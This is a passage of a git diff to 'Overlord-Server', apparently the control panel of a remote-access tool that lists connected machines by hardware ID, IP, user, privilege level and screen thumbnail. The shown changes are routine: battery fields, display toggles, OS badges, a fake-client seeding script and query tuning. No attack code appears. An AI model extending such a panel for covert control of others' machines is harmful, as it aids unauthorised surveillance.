RAM${escapeHtml(client.ram || "—")}
- ${client.gpu ? `
GPU${escapeHtml(client.gpu)}
` : ""}
- ${!verLatest && client.version ? `
Versionv${escapeHtml(client.version)} (outdated)
` : ""}
+ ${showField("hwid") ? `
Hardware ID${escapeHtml(hwid || "—")}
` : ""}
+ ${showField("ip") ? `
IP${escapeHtml(client.ip || "—")}
` : ""}
+ ${showField("system") ? `
OS${escapeHtml(client.os || "Unknown")} ${escapeHtml(arch.label)}
` : ""}
+ ${showHardware ? `
CPU${cpuHtml}
` : ""}
+ ${showHardware ? `
RAM${escapeHtml(client.ram || "—")}
` : ""}
+ ${batteryIndicator ? `
Battery${batteryIndicator}
` : ""}
+ ${showHardware && client.gpu ? `
GPU${escapeHtml(client.gpu)}
` : ""}
+ ${showField("version") && !verLatest && client.version ? `
Versionv${escapeHtml(client.version)} (outdated)
` : ""}
`;
@@ -754,6 +844,11 @@ export function createRenderer({
const nickname = String(client.nickname || "").trim();
const displayName = nickname || client.host || deviceId;
const userLine = client.user || client.host || deviceId;
+ const userMeta = [
+ showField("user") ? `
${escapeHtml(userLine)}` : "",
+ showField("ip") && client.ip ? `
· ${escapeHtml(client.ip)}` : "",
+ showField("hwid") && client.hwid ? `
· ${escapeHtml(shortId(client.hwid))}` : "",
+ ].filter(Boolean).join("");
tr.innerHTML = `
@@ -779,7 +874,7 @@ export function createRenderer({
${client.elevation === "trustedinstaller" ? `` : ""}
${client.notificationsMuted ? `` : ""}
- ${escapeHtml(userLine)}${client.ip ? `· ${escapeHtml(client.ip)}` : ""}
+ ${userMeta ? `${userMeta}` : ""}
|
@@ -787,11 +882,11 @@ export function createRenderer({
${statusDot(client)} ${client.online ? "Online" : "Offline"}
${formatAgo(client.lastSeen)} |
-
+ ${showField("system") ? ` |
${escapeHtml(shortOsLabel(client.os))} ${escapeHtml(arch.label)}
- |
+ ` : ""}
${formatPing(client.pingMs)} |
-
${groupPillHtml(client) || `—`} |
+ ${showField("group") ? `
${groupPillHtml(client) || `—`} | ` : ""}
${isViewer ? "" : ``}
@@ -821,13 +916,15 @@ export function createRenderer({
const verLatest = String(client.version || "").startsWith("2.0.");
const hasGroup = !!String(client.groupName || "").trim();
const showHost = nickname && client.host && nickname !== client.host;
- const cpuShort = client.cpu ? shortenCpu(client.cpu) : "";
+ const showHardware = showField("hardware");
+ const cpuHtml = showHardware && client.cpu ? cpuBadgeHtml(client.cpu) : "";
+ const batteryIndicator = showField("battery") ? batteryHtml(client, { compact: true }) : "";
const metaParts = [
- ` ${escapeHtml(shortOsLabel(client.os))}`,
- `${escapeHtml(arch.label)}`,
- ` ${client.monitors || 1}`,
- client.version ? ` v${escapeHtml(client.version)}` : "",
+ showField("system") ? ` ${escapeHtml(shortOsLabel(client.os))}` : "",
+ showField("system") ? `${escapeHtml(arch.label)}` : "",
+ showField("monitors") ? ` ${client.monitors || 1}` : "",
+ showField("version") && client.version ? ` v${escapeHtml(client.version)}` : "",
].filter(Boolean).join("");
const elevationBadges = [
@@ -863,19 +960,20 @@ export function createRenderer({
${escapeHtml(displayName)}
${elevationBadges}
- ${escapeHtml(userLine)}${showHost ? ` @ ${escapeHtml(client.host)}` : ""}
+ ${showField("user") ? ` ${escapeHtml(userLine)}${showHost ? ` @ ${escapeHtml(client.host)}` : ""} ` : ""}
${customTag ? ` ${escapeHtml(customTag)} ` : ""}
- ${client.ip ? ` ${escapeHtml(client.ip)}` : ""}
- ${hwidShort ? ` ${escapeHtml(hwidShort)}` : ""}
+ ${showField("ip") && client.ip ? ` ${escapeHtml(client.ip)}` : ""}
+ ${showField("hwid") && hwidShort ? ` ${escapeHtml(hwidShort)}` : ""}
-
+ ${metaParts || (showField("group") && hasGroup) ? `
${metaParts}
- ${hasGroup ? `${groupPillHtml(client)}` : ""}
-
- ${cpuShort || client.ram ? `
- ${cpuShort ? ` ${escapeHtml(cpuShort)}` : ""}
- ${client.ram ? ` ${escapeHtml(client.ram)}` : ""}
+ ${showField("group") && hasGroup ? `${groupPillHtml(client)}` : ""}
+ ` : ""}
+ ${cpuHtml || (showHardware && client.ram) || batteryIndicator ? `
+ ${cpuHtml}
+ ${showHardware && client.ram ? ` ${escapeHtml(client.ram)}` : ""}
+ ${batteryIndicator}
` : ""}
${isViewer ? "" : ``}
diff --git a/Overlord-Server/public/assets/utils.js b/Overlord-Server/public/assets/utils.js
index 5ac84b4..e845789 100644
--- a/Overlord-Server/public/assets/utils.js
+++ b/Overlord-Server/public/assets/utils.js
@@ -23,6 +23,20 @@ export function digestData(data, { page, pageSize, searchTerm, sort }) {
os: c.os,
monitors: c.monitors,
elevation: c.elevation,
+ bookmarked: !!c.bookmarked,
+ isAdmin: !!c.isAdmin,
+ hwid: c.hwid,
+ cpu: c.cpu,
+ gpu: c.gpu,
+ ram: c.ram,
+ batteryPercent: c.batteryPercent,
+ batteryCharging: c.batteryCharging,
+ groupId: c.groupId,
+ groupName: c.groupName,
+ groupColor: c.groupColor,
+ notificationsMuted: !!c.notificationsMuted,
+ hasThumbnail: !!c.hasThumbnail,
+ thumbnailVersion: c.thumbnailVersion,
})) || [];
return JSON.stringify({
page,
diff --git a/Overlord-Server/public/assets/viewUtils.js b/Overlord-Server/public/assets/viewUtils.js
index 94450af..1b5623f 100644
--- a/Overlord-Server/public/assets/viewUtils.js
+++ b/Overlord-Server/public/assets/viewUtils.js
@@ -37,20 +37,40 @@ export function osBadge(osRaw = "") {
icon: "fa-linux",
tone: "pill-unknown",
};
+ if (os.includes("windows 11"))
+ return { label: "W11", icon: "fa-brands fa-windows", tone: "pill-win" };
+ if (os.includes("windows 10"))
+ return { label: "W10", icon: "fa-brands fa-windows", tone: "pill-win" };
if (os.includes("windows"))
return { label: "Windows", icon: "fa-brands fa-windows", tone: "pill-win" };
if (os.includes("mac") || os.includes("darwin"))
return { label: "macOS", icon: "fa-brands fa-apple", tone: "pill-mac" };
+ if (os.includes("linux mint"))
+ return { label: "Mint", icon: "cv-os-icon cv-os-icon-mint", tone: "pill-mint" };
if (os.includes("ubuntu"))
- return { label: "Ubuntu", icon: "fa-brands fa-linux", tone: "pill-ubuntu" };
+ return { label: "Ubuntu", icon: "fa-brands fa-ubuntu", tone: "pill-ubuntu" };
if (os.includes("debian"))
- return { label: "Debian", icon: "fa-brands fa-linux", tone: "pill-debian" };
+ return { label: "Debian", icon: "fa-brands fa-debian", tone: "pill-debian" };
if (os.includes("arch"))
- return { label: "Arch", icon: "fa-brands fa-linux", tone: "pill-arch" };
+ return { label: "Arch", icon: "cv-os-icon cv-os-icon-arch", tone: "pill-arch" };
if (os.includes("kali"))
return { label: "Kali", icon: "fa-brands fa-linux", tone: "pill-kali" };
if (os.includes("fedora"))
- return { label: "Fedora", icon: "fa-brands fa-linux", tone: "pill-fedora" };
+ return { label: "Fedora", icon: "fa-brands fa-fedora", tone: "pill-fedora" };
+ if (os.includes("red hat") || os.includes("rhel"))
+ return { label: "RHEL", icon: "fa-brands fa-redhat", tone: "pill-redhat" };
+ if (os.includes("centos"))
+ return { label: "CentOS", icon: "fa-brands fa-centos", tone: "pill-centos" };
+ if (os.includes("suse") || os.includes("opensuse"))
+ return { label: "SUSE", icon: "fa-brands fa-suse", tone: "pill-suse" };
+ if (os.includes("raspbian") || os.includes("raspberry"))
+ return { label: "Raspberry Pi", icon: "fa-brands fa-raspberry-pi", tone: "pill-raspi" };
+ if (os.includes("freebsd"))
+ return { label: "FreeBSD", icon: "fa-brands fa-freebsd", tone: "pill-freebsd" };
+ if (os.includes("alpine"))
+ return { label: "Alpine", icon: "fa-brands fa-linux", tone: "pill-alpine" };
+ if (os.includes("manjaro"))
+ return { label: "Manjaro", icon: "fa-brands fa-linux", tone: "pill-manjaro" };
if (os.includes("linux"))
return { label: "Linux", icon: "fa-brands fa-linux", tone: "pill-linux" };
return base;
diff --git a/Overlord-Server/public/index.html b/Overlord-Server/public/index.html
index f97635a..6eeca0a 100644
--- a/Overlord-Server/public/index.html
+++ b/Overlord-Server/public/index.html
@@ -38,10 +38,10 @@
>0 online
-
+
-
-
+
+
No clients in this category.
@@ -157,7 +183,17 @@
-
+
+
+
+ | IP Address |
+ Reason |
+ Banned At |
+ Actions |
+
+
+
+
No banned IPs.
diff --git a/Overlord-Server/scripts/seed_fake_clients.py b/Overlord-Server/scripts/seed_fake_clients.py
index 1edbb8e..9f9f9b9 100644
--- a/Overlord-Server/scripts/seed_fake_clients.py
+++ b/Overlord-Server/scripts/seed_fake_clients.py
@@ -21,13 +21,112 @@ CREATE TABLE IF NOT EXISTS clients (
country TEXT,
last_seen INTEGER,
online INTEGER,
- ping_ms INTEGER
+ ping_ms INTEGER,
+ cpu TEXT,
+ gpu TEXT,
+ ram TEXT,
+ battery_percent INTEGER,
+ battery_charging INTEGER,
+ is_admin INTEGER NOT NULL DEFAULT 0,
+ elevation TEXT,
+ enrollment_status TEXT NOT NULL DEFAULT 'approved',
+ bookmarked INTEGER NOT NULL DEFAULT 0,
+ notifications_muted INTEGER NOT NULL DEFAULT 0
);
"""
ROLES = ["client", "viewer"]
-OSES = ["windows", "linux", "darwin", "ubuntu", "debian", "arch", "kali", "fedora"]
ARCHES = ["amd64", "arm64", "x86", "arm"]
+OS_PROFILES = [
+ {
+ "os": "Windows 11 Pro 23H2",
+ "arches": ["amd64", "arm64"],
+ "cpus": ["Intel(R) Core(TM) i7-13700H", "Intel(R) Core(TM) i9-13900K", "AMD Ryzen 7 7840U"],
+ "gpus": ["NVIDIA GeForce RTX 4070 Laptop GPU", "Intel Iris Xe Graphics", "AMD Radeon 780M"],
+ "ram": ["16 GB", "32 GB", "64 GB"],
+ "battery": True,
+ },
+ {
+ "os": "Windows 10 Pro 22H2",
+ "arches": ["amd64", "x86"],
+ "cpus": ["Intel(R) Core(TM) i5-10400", "Intel(R) Core(TM) i7-9700K", "AMD Ryzen 5 3600"],
+ "gpus": ["NVIDIA GeForce GTX 1660", "Intel UHD Graphics 630", "AMD Radeon RX 580"],
+ "ram": ["8 GB", "16 GB", "32 GB"],
+ "battery": False,
+ },
+ {
+ "os": "Ubuntu 24.04.1 LTS",
+ "arches": ["amd64", "arm64"],
+ "cpus": ["AMD Ryzen 9 7950X", "Intel(R) Core(TM) i7-12700", "Apple M2"],
+ "gpus": ["NVIDIA GeForce RTX 3060", "AMD Radeon RX 6700 XT", "llvmpipe"],
+ "ram": ["8 GB", "16 GB", "32 GB"],
+ "battery": True,
+ },
+ {
+ "os": "Debian GNU/Linux 12 (bookworm)",
+ "arches": ["amd64", "arm64"],
+ "cpus": ["Intel(R) Xeon(R) CPU E5-2670", "AMD EPYC 7282", "Intel(R) Core(TM) i5-8250U"],
+ "gpus": ["virtio_gpu", "Intel UHD Graphics 620", "NVIDIA T400"],
+ "ram": ["4 GB", "8 GB", "16 GB"],
+ "battery": False,
+ },
+ {
+ "os": "Fedora Linux 40 (Workstation Edition)",
+ "arches": ["amd64"],
+ "cpus": ["AMD Ryzen 7 5800X", "Intel(R) Core(TM) Ultra 7 155H"],
+ "gpus": ["AMD Radeon RX 6800", "Intel Arc Graphics"],
+ "ram": ["16 GB", "32 GB"],
+ "battery": True,
+ },
+ {
+ "os": "Arch Linux",
+ "arches": ["amd64"],
+ "cpus": ["AMD Ryzen 5 7600X", "Intel(R) Core(TM) i5-13600K"],
+ "gpus": ["NVIDIA GeForce RTX 3080", "AMD Radeon RX 7900 XT"],
+ "ram": ["16 GB", "32 GB", "64 GB"],
+ "battery": False,
+ },
+ {
+ "os": "Kali GNU/Linux Rolling",
+ "arches": ["amd64", "arm64"],
+ "cpus": ["Intel(R) Core(TM) i7-8650U", "AMD Ryzen 5 PRO 4650U"],
+ "gpus": ["Intel UHD Graphics 620", "VMware SVGA II Adapter"],
+ "ram": ["4 GB", "8 GB", "16 GB"],
+ "battery": True,
+ },
+ {
+ "os": "Linux Mint 22",
+ "arches": ["amd64"],
+ "cpus": ["AMD Ryzen 7 5700U", "Intel(R) Core(TM) i5-1135G7"],
+ "gpus": ["AMD Radeon Graphics", "Intel Iris Xe Graphics"],
+ "ram": ["8 GB", "16 GB"],
+ "battery": True,
+ },
+ {
+ "os": "Red Hat Enterprise Linux 9.4",
+ "arches": ["amd64"],
+ "cpus": ["Intel(R) Xeon(R) Silver 4210", "AMD EPYC 7313P"],
+ "gpus": ["Matrox G200e", "NVIDIA T1000"],
+ "ram": ["32 GB", "64 GB", "128 GB"],
+ "battery": False,
+ },
+ {
+ "os": "openSUSE Tumbleweed",
+ "arches": ["amd64"],
+ "cpus": ["AMD Ryzen 9 7900", "Intel(R) Core(TM) i7-13700"],
+ "gpus": ["AMD Radeon RX 7600", "Intel Arc A770"],
+ "ram": ["16 GB", "32 GB"],
+ "battery": False,
+ },
+ {
+ "os": "macOS 14.5",
+ "arches": ["arm64", "amd64"],
+ "cpus": ["Apple M2", "Apple M2 Pro", "Apple M3 Max", "Intel(R) Core(TM) i9-9980HK"],
+ "gpus": ["Apple GPU", "AMD Radeon Pro 5500M"],
+ "ram": ["8 GB", "16 GB", "32 GB", "64 GB"],
+ "battery": True,
+ },
+]
COUNTRIES = [
"US",
"GB",
@@ -73,10 +172,11 @@ def random_version() -> str:
def random_row(now_ms: int, online_rate: float) -> Tuple:
client_id = uuid.uuid4().hex
hwid = uuid.uuid4().hex
- role = random.choice(ROLES)
+ role = "client" if random.random() > 0.02 else random.choice(ROLES)
host = random_host()
- os_name = random.choice(OSES)
- arch = random.choice(ARCHES)
+ profile = random.choice(OS_PROFILES)
+ os_name = profile["os"]
+ arch = random.choice(profile.get("arches") or ARCHES)
version = random_version()
user = random_user()
monitors = random.randint(1, 3)
@@ -84,6 +184,20 @@ def random_row(now_ms: int, online_rate: float) -> Tuple:
last_seen = now_ms - random.randint(0, 7 * 24 * 60 * 60 * 1000)
online = 1 if random.random() < online_rate else 0
ping_ms = random.choice([None, random.randint(10, 400), random.randint(400, 2000)])
+ cpu = random.choice(profile["cpus"])
+ gpu = random.choice(profile["gpus"])
+ ram = random.choice(profile["ram"])
+ battery_percent = None
+ battery_charging = None
+ if profile.get("battery") and random.random() < 0.72:
+ battery_percent = random.randint(7, 100)
+ battery_charging = 1 if random.random() < 0.38 else 0
+ is_admin = 1 if random.random() < 0.22 else 0
+ elevation = random.choice(["user", "admin", "system", None])
+ if is_admin and elevation == "user":
+ elevation = "admin"
+ bookmarked = 1 if random.random() < 0.08 else 0
+ notifications_muted = 1 if random.random() < 0.05 else 0
return (
client_id,
hwid,
@@ -98,6 +212,16 @@ def random_row(now_ms: int, online_rate: float) -> Tuple:
last_seen,
online,
ping_ms,
+ cpu,
+ gpu,
+ ram,
+ battery_percent,
+ battery_charging,
+ is_admin,
+ elevation,
+ "approved",
+ bookmarked,
+ notifications_muted,
)
@@ -117,9 +241,30 @@ def batched_rows(
def ensure_schema(conn: sqlite3.Connection) -> None:
conn.execute(SCHEMA)
+ columns = {
+ row[1] for row in conn.execute("PRAGMA table_info(clients)").fetchall()
+ }
+ additions = {
+ "cpu": "TEXT",
+ "gpu": "TEXT",
+ "ram": "TEXT",
+ "battery_percent": "INTEGER",
+ "battery_charging": "INTEGER",
+ "is_admin": "INTEGER NOT NULL DEFAULT 0",
+ "elevation": "TEXT",
+ "enrollment_status": "TEXT NOT NULL DEFAULT 'approved'",
+ "bookmarked": "INTEGER NOT NULL DEFAULT 0",
+ "notifications_muted": "INTEGER NOT NULL DEFAULT 0",
+ }
+ for name, decl in additions.items():
+ if name not in columns:
+ conn.execute(f"ALTER TABLE clients ADD COLUMN {name} {decl}")
def seed(db_path: str, count: int, truncate: bool, online_rate: float) -> None:
+ parent = os.path.dirname(os.path.abspath(db_path))
+ if parent:
+ os.makedirs(parent, exist_ok=True)
conn = sqlite3.connect(db_path)
try:
ensure_schema(conn)
@@ -127,8 +272,8 @@ def seed(db_path: str, count: int, truncate: bool, online_rate: float) -> None:
conn.execute("DELETE FROM clients")
conn.commit()
sql = (
- "INSERT INTO clients (id, hwid, role, host, os, arch, version, user, monitors, country, last_seen, online, ping_ms) "
- "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"
+ "INSERT INTO clients (id, hwid, role, host, os, arch, version, user, monitors, country, last_seen, online, ping_ms, cpu, gpu, ram, battery_percent, battery_charging, is_admin, elevation, enrollment_status, bookmarked, notifications_muted) "
+ "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"
)
total = 0
for batch in batched_rows(count, online_rate=online_rate):
@@ -164,7 +309,7 @@ def main() -> None:
"--count",
type=int,
default=100000,
- help="How many rows to insert (default: 10000)",
+ help="How many rows to insert (default: 100000)",
)
parser.add_argument(
"--truncate", action="store_true", help="Delete existing rows before seeding"
diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts
index 609c541..37901b4 100644
--- a/Overlord-Server/src/db/repositories.ts
+++ b/Overlord-Server/src/db/repositories.ts
@@ -219,8 +219,8 @@ export function upsertClientRow(
) {
const now = partial.lastSeen ?? Date.now();
db.run(
- `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, build_tag, built_by_user_id, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation, permissions)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, ?)
+ `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, build_tag, built_by_user_id, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, battery_percent, battery_charging, is_admin, elevation, permissions)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, ?)
ON CONFLICT(id) DO UPDATE SET
hwid=COALESCE(excluded.hwid, clients.hwid),
role=COALESCE(excluded.role, clients.role),
@@ -246,6 +246,8 @@ export function upsertClientRow(
cpu=COALESCE(excluded.cpu, clients.cpu),
gpu=COALESCE(excluded.gpu, clients.gpu),
ram=COALESCE(excluded.ram, clients.ram),
+ battery_percent=COALESCE(excluded.battery_percent, clients.battery_percent),
+ battery_charging=COALESCE(excluded.battery_charging, clients.battery_charging),
is_admin=COALESCE(excluded.is_admin, clients.is_admin),
elevation=COALESCE(excluded.elevation, clients.elevation),
permissions=COALESCE(excluded.permissions, clients.permissions)
@@ -275,6 +277,8 @@ export function upsertClientRow(
partial.cpu ?? null,
partial.gpu ?? null,
partial.ram ?? null,
+ partial.batteryPercent ?? null,
+ partial.batteryCharging !== undefined && partial.batteryCharging !== null ? (partial.batteryCharging ? 1 : 0) : null,
partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null,
partial.elevation ?? null,
partial.permissions ? JSON.stringify(partial.permissions) : null,
@@ -618,6 +622,7 @@ export function markAllClientsOffline() {
export const SUSPICIOUS_FLOOD_THRESHOLD = Math.max(2, Number(process.env.OVERLORD_SUSPICIOUS_FLOOD_THRESHOLD || 40));
const SUSPICIOUS_IP_FLOOD_WINDOW_MS = Math.max(60_000, Number(process.env.OVERLORD_SUSPICIOUS_IP_WINDOW_MS || 300_000));
+const SUSPICIOUS_SCAN_MAX_CLIENTS = Math.max(0, Number(process.env.OVERLORD_SUSPICIOUS_SCAN_MAX_CLIENTS || 50_000));
export function getFloodedHwids(threshold = SUSPICIOUS_FLOOD_THRESHOLD): Set {
const rows = db
@@ -853,6 +858,12 @@ export function listClients(filters: ListFilters): ListResult {
}
const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : "";
+ const needsGroupJoinForFilter =
+ !!search ||
+ sort === "group_asc" ||
+ sort === "group_desc" ||
+ (groupFilter !== undefined && groupFilter !== "all");
+ const countJoinSql = needsGroupJoinForFilter ? "LEFT JOIN client_groups g ON g.id = c.group_id" : "";
const orderBy = (() => {
const online = "c.online DESC";
@@ -884,27 +895,48 @@ export function listClients(filters: ListFilters): ListResult {
})();
const totalRow = db
- .query<{ c: number }>(`SELECT COUNT(*) as c FROM clients c LEFT JOIN client_groups g ON g.id = c.group_id ${whereSql}`)
+ .query<{ c: number }>(`SELECT COUNT(*) as c FROM clients c ${countJoinSql} ${whereSql}`)
.get(...params) ?? { c: 0 };
const onlineRow = db
.query<{ c: number }>(
- `SELECT COUNT(*) as c FROM clients c LEFT JOIN client_groups g ON g.id = c.group_id ${whereSql ? `${whereSql} AND c.online=1` : "WHERE c.online=1"}`,
+ `SELECT COUNT(*) as c FROM clients c ${countJoinSql} ${whereSql ? `${whereSql} AND c.online=1` : "WHERE c.online=1"}`,
)
.get(...params) ?? { c: 0 };
const offset = (page - 1) * pageSize;
- const rows = db
- .query(
- `SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor, c.notifications_muted as notificationsMuted, c.deny_reason as denyReason
- FROM clients c
- LEFT JOIN client_groups g ON g.id = c.group_id
- ${whereSql}
- ${orderBy}
- LIMIT ? OFFSET ?`,
- )
- .all(...params, pageSize, offset);
+ const clientFields =
+ "c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.battery_percent as batteryPercent, c.battery_charging as batteryCharging, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, c.notifications_muted as notificationsMuted, c.deny_reason as denyReason";
- const { floodedHwids, floodedHardware, floodedIps } = getFloodSetsWithCache();
+ const rows = needsGroupJoinForFilter
+ ? db
+ .query(
+ `SELECT ${clientFields}, g.name as groupName, g.color as groupColor
+ FROM clients c
+ LEFT JOIN client_groups g ON g.id = c.group_id
+ ${whereSql}
+ ${orderBy}
+ LIMIT ? OFFSET ?`,
+ )
+ .all(...params, pageSize, offset)
+ : db
+ .query(
+ `WITH page_clients AS (
+ SELECT ${clientFields}
+ FROM clients c
+ ${whereSql}
+ ${orderBy}
+ LIMIT ? OFFSET ?
+ )
+ SELECT pc.*, g.name as groupName, g.color as groupColor
+ FROM page_clients pc
+ LEFT JOIN client_groups g ON g.id = pc.groupId`,
+ )
+ .all(...params, pageSize, offset);
+
+ const shouldScanSuspicious = SUSPICIOUS_SCAN_MAX_CLIENTS === 0 || totalRow.c <= SUSPICIOUS_SCAN_MAX_CLIENTS;
+ const suspiciousSets = shouldScanSuspicious
+ ? getFloodSetsWithCache()
+ : { floodedHwids: new Set(), floodedHardware: new Set(), floodedIps: new Set() };
const thumbnailSummaries = getThumbnailSummaries(rows.map((row: any) => row.id));
const items = rows.map((c: any) => {
@@ -936,6 +968,8 @@ export function listClients(filters: ListFilters): ListResult {
cpu: c.cpu || null,
gpu: c.gpu || null,
ram: c.ram || null,
+ batteryPercent: typeof c.batteryPercent === "number" ? c.batteryPercent : null,
+ batteryCharging: c.batteryCharging === null || c.batteryCharging === undefined ? null : c.batteryCharging === 1,
isAdmin: c.isAdmin === 1,
elevation: c.elevation || null,
permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
@@ -948,7 +982,7 @@ export function listClients(filters: ListFilters): ListResult {
denyReason: c.denyReason || null,
hasThumbnail: thumbnail?.hasThumbnail ?? false,
thumbnailVersion: thumbnail?.thumbnailVersion ?? 0,
- suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }),
+ suspiciousFlags: shouldScanSuspicious ? computeClientSuspiciousFlags(c, suspiciousSets) : [],
};
});
diff --git a/Overlord-Server/src/db/schema.ts b/Overlord-Server/src/db/schema.ts
index deb31c7..9cbc316 100644
--- a/Overlord-Server/src/db/schema.ts
+++ b/Overlord-Server/src/db/schema.ts
@@ -79,6 +79,12 @@ try {
try {
db.run(`ALTER TABLE clients ADD COLUMN ram TEXT`);
} catch {}
+try {
+ db.run(`ALTER TABLE clients ADD COLUMN battery_percent INTEGER`);
+} catch {}
+try {
+ db.run(`ALTER TABLE clients ADD COLUMN battery_charging INTEGER`);
+} catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN is_admin INTEGER NOT NULL DEFAULT 0`);
} catch {}
@@ -94,6 +100,12 @@ db.run(
db.run(
`CREATE INDEX IF NOT EXISTS idx_clients_online_last_seen ON clients(online, last_seen DESC);`,
);
+db.run(
+ `CREATE INDEX IF NOT EXISTS idx_clients_enrollment_online_bookmark_id ON clients(enrollment_status, online DESC, bookmarked DESC, id ASC);`,
+);
+db.run(
+ `CREATE INDEX IF NOT EXISTS idx_clients_enrollment_online_last_seen ON clients(enrollment_status, online DESC, last_seen DESC, id ASC);`,
+);
db.run(
`CREATE INDEX IF NOT EXISTS idx_clients_os_last_seen ON clients(os, last_seen DESC);`,
);
diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts
index 0882567..5572b0b 100644
--- a/Overlord-Server/src/protocol.ts
+++ b/Overlord-Server/src/protocol.ts
@@ -29,6 +29,8 @@ export type Hello = {
monitors: number;
monitorInfo?: { width: number; height: number }[];
country?: string;
+ batteryPercent?: number;
+ batteryCharging?: boolean;
publicKey?: string;
signature?: string;
publicIP?: string;
diff --git a/Overlord-Server/src/server/routes/assets-routes.ts b/Overlord-Server/src/server/routes/assets-routes.ts
index 9ab7778..1caf2ce 100644
--- a/Overlord-Server/src/server/routes/assets-routes.ts
+++ b/Overlord-Server/src/server/routes/assets-routes.ts
@@ -20,8 +20,8 @@ function acceptsGzip(req: Request): boolean {
return (req.headers.get("accept-encoding") ?? "").includes("gzip");
}
-const STATIC_ASSET_CACHE = "public, max-age=86400, stale-while-revalidate=604800";
-const MUTABLE_ASSET_CACHE = "public, max-age=3600, stale-while-revalidate=86400";
+const STATIC_ASSET_CACHE = "public, max-age=31536000, immutable";
+const MUTABLE_ASSET_CACHE = "public, max-age=86400, stale-while-revalidate=604800";
const NO_CACHE = "no-cache";
function assetCacheControl(relativePath: string): string {
diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts
index b248ec1..b834ad2 100644
--- a/Overlord-Server/src/server/routes/client-routes.ts
+++ b/Overlord-Server/src/server/routes/client-routes.ts
@@ -75,7 +75,7 @@ export async function handleClientRoutes(
return new Response("Unauthorized", { status: 401 });
}
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
- const pageSize = Math.max(1, Number(url.searchParams.get("pageSize") || 12));
+ const pageSize = Math.min(200, Math.max(1, Number(url.searchParams.get("pageSize") || 12)));
const search = (url.searchParams.get("q") || "").toLowerCase().trim();
const sort = url.searchParams.get("sort") || "last_seen_desc";
const statusFilter = url.searchParams.get("status") || "all";
diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
index c5d6f7d..24d5076 100644
--- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
@@ -456,6 +456,12 @@ export async function handleWebSocketMessage(
if (typeof v !== "string") return undefined;
return v.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").slice(0, max);
};
+ const _percent = (v: unknown): number | undefined => {
+ if (typeof v !== "number" || !Number.isFinite(v)) return undefined;
+ const n = Math.round(v);
+ return n >= 0 && n <= 100 ? n : undefined;
+ };
+ const batteryPercent = _percent((payload as any).batteryPercent);
upsertClientRow({
id: resolvedId,
hwid: _s((payload as any).hwid) || resolvedId,
@@ -470,6 +476,8 @@ export async function handleWebSocketMessage(
cpu: _s((payload as any).cpu),
gpu: _s((payload as any).gpu),
ram: _s((payload as any).ram, 64),
+ batteryPercent,
+ batteryCharging: batteryPercent !== undefined ? !!(payload as any).batteryCharging : undefined,
country,
lastSeen: Date.now(),
online: 0 as any,
diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts
index 95c2f92..8275562 100644
--- a/Overlord-Server/src/types.ts
+++ b/Overlord-Server/src/types.ts
@@ -37,6 +37,8 @@ export type ClientInfo = {
cpu?: string;
gpu?: string;
ram?: string;
+ batteryPercent?: number | null;
+ batteryCharging?: boolean | null;
isAdmin?: boolean;
elevation?: string;
permissions?: Record;
diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts
index d5f30aa..18d7ed8 100644
--- a/Overlord-Server/src/wsHandlers.ts
+++ b/Overlord-Server/src/wsHandlers.ts
@@ -35,6 +35,13 @@ function sanitizeMonitorCount(val: unknown): number | undefined {
return n;
}
+function sanitizePercent(val: unknown): number | undefined {
+ if (typeof val !== "number" || !Number.isFinite(val)) return undefined;
+ const n = Math.round(val);
